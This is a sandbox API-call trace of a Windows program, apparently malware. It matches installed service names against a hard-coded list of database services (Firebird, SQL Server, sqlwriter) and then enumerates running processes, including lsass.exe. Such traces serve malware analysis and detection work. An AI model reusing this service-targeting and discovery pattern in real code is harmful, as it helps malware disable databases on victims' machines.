	[0071.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0071.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0071.266] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0071.266] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0071.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0071.266] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0071.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0071.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0071.266] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0071.266] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0071.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0071.266] lstrlenW (lpString="CryptSvc") returned 8
	[0071.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0071.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0071.266] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0071.266] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0071.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0071.266] lstrlenW (lpString="DcomLaunch") returned 10
	[0071.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0071.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0071.266] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0071.266] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0071.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0071.266] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0071.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0071.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0071.266] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0071.266] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0071.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0071.266] lstrlenW (lpString="Dhcp") returned 4
	[0071.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0071.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0071.266] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0071.267] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0071.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0071.267] lstrlenW (lpString="Dnscache") returned 8
	[0071.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0071.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0071.267] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0071.267] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0071.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0071.267] lstrlenW (lpString="DoSvc") returned 5
	[0071.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0071.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0071.267] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0071.267] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0071.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0071.267] lstrlenW (lpString="DPS") returned 3
	[0071.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0071.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0071.267] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0071.267] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0071.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0071.267] lstrlenW (lpString="DusmSvc") returned 7
	[0071.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0071.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0071.267] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0071.267] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0071.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0071.267] lstrlenW (lpString="EventLog") returned 8
	[0071.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0071.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0071.268] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0071.268] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0071.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0071.268] lstrlenW (lpString="EventSystem") returned 11
	[0071.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0071.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0071.268] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0071.268] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0071.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0071.268] lstrlenW (lpString="FontCache") returned 9
	[0071.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0071.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0071.268] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0071.268] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0071.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0071.268] lstrlenW (lpString="gpsvc") returned 5
	[0071.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0071.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0071.268] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0071.268] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0071.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0071.268] lstrlenW (lpString="iphlpsvc") returned 8
	[0071.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0071.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0071.268] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0071.268] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0071.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0071.268] lstrlenW (lpString="KeyIso") returned 6
	[0071.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0071.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0071.268] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0071.268] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0071.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0071.268] lstrlenW (lpString="LanmanServer") returned 12
	[0071.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0071.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0071.269] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0071.269] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0071.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0071.269] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0071.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0071.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0071.269] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0071.269] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0071.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0071.269] lstrlenW (lpString="lfsvc") returned 5
	[0071.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0071.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0071.269] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0071.269] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0071.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0071.269] lstrlenW (lpString="lmhosts") returned 7
	[0071.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0071.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0071.269] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0071.269] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0071.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0071.269] lstrlenW (lpString="LSM") returned 3
	[0071.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0071.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0071.269] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0071.269] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0071.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0071.269] lstrlenW (lpString="MapsBroker") returned 10
	[0071.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0071.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0071.269] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0071.269] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0071.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0071.269] lstrlenW (lpString="MpsSvc") returned 6
	[0071.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0071.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0071.270] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0071.270] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0071.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0071.270] lstrlenW (lpString="NcbService") returned 10
	[0071.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0071.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0071.270] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0071.270] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0071.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0071.270] lstrlenW (lpString="netprofm") returned 8
	[0071.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0071.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0071.270] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0071.270] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0071.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0071.270] lstrlenW (lpString="NlaSvc") returned 6
	[0071.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0071.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0071.270] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0071.270] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0071.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0071.270] lstrlenW (lpString="nsi") returned 3
	[0071.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0071.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0071.270] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0071.270] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0071.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0071.270] lstrlenW (lpString="PcaSvc") returned 6
	[0071.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0071.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0071.270] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0071.270] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0071.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0071.270] lstrlenW (lpString="PlugPlay") returned 8
	[0071.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0071.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0071.270] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0071.271] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0071.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0071.271] lstrlenW (lpString="Power") returned 5
	[0071.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0071.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0071.271] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0071.271] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0071.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0071.271] lstrlenW (lpString="ProfSvc") returned 7
	[0071.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0071.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0071.271] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0071.271] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0071.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0071.271] lstrlenW (lpString="RpcEptMapper") returned 12
	[0071.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0071.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0071.271] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0071.271] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0071.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0071.271] lstrlenW (lpString="RpcSs") returned 5
	[0071.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0071.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0071.271] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0071.271] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0071.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0071.271] lstrlenW (lpString="SamSs") returned 5
	[0071.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0071.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0071.271] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0071.271] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0071.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0071.271] lstrlenW (lpString="Schedule") returned 8
	[0071.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0071.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0071.271] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0071.272] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0071.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0071.272] lstrlenW (lpString="SecurityHealthService") returned 21
	[0071.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0071.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0071.272] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0071.272] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0071.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0071.272] lstrlenW (lpString="SENS") returned 4
	[0071.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0071.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0071.272] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0071.272] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0071.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0071.272] lstrlenW (lpString="ShellHWDetection") returned 16
	[0071.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0071.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0071.272] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0071.272] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0071.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0071.272] lstrlenW (lpString="Spooler") returned 7
	[0071.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0071.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0071.272] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0071.272] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0071.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0071.272] lstrlenW (lpString="SSDPSRV") returned 7
	[0071.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0071.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0071.272] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0071.272] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0071.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0071.272] lstrlenW (lpString="StateRepository") returned 15
	[0071.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0071.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0071.272] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0071.272] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0071.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0071.273] lstrlenW (lpString="SysMain") returned 7
	[0071.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0071.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0071.273] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0071.273] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0071.273] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x32bb288 | out: hHeap=0x720000) returned 1
	[0071.273] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x33c
	[0071.279] Process32FirstW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0071.280] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0071.280] lstrlenW (lpString="System") returned 6
	[0071.280] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0071.281] lstrlenW (lpString="smss.exe") returned 8
	[0071.281] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0071.281] lstrlenW (lpString="csrss.exe") returned 9
	[0071.281] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0071.282] lstrlenW (lpString="wininit.exe") returned 11
	[0071.282] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0071.511] lstrlenW (lpString="csrss.exe") returned 9
	[0071.638] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0071.639] lstrlenW (lpString="winlogon.exe") returned 12
	[0071.639] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0071.639] lstrlenW (lpString="services.exe") returned 12
	[0071.639] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0071.640] lstrlenW (lpString="lsass.exe") returned 9
	[0071.640] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.640] lstrlenW (lpString="svchost.exe") returned 11
	[0071.640] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0071.641] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0071.641] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0071.641] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0071.641] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.642] lstrlenW (lpString="svchost.exe") returned 11
	[0071.642] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0071.643] lstrlenW (lpString="dwm.exe") returned 7
	[0071.643] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.643] lstrlenW (lpString="svchost.exe") returned 11
	[0071.643] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.644] lstrlenW (lpString="svchost.exe") returned 11
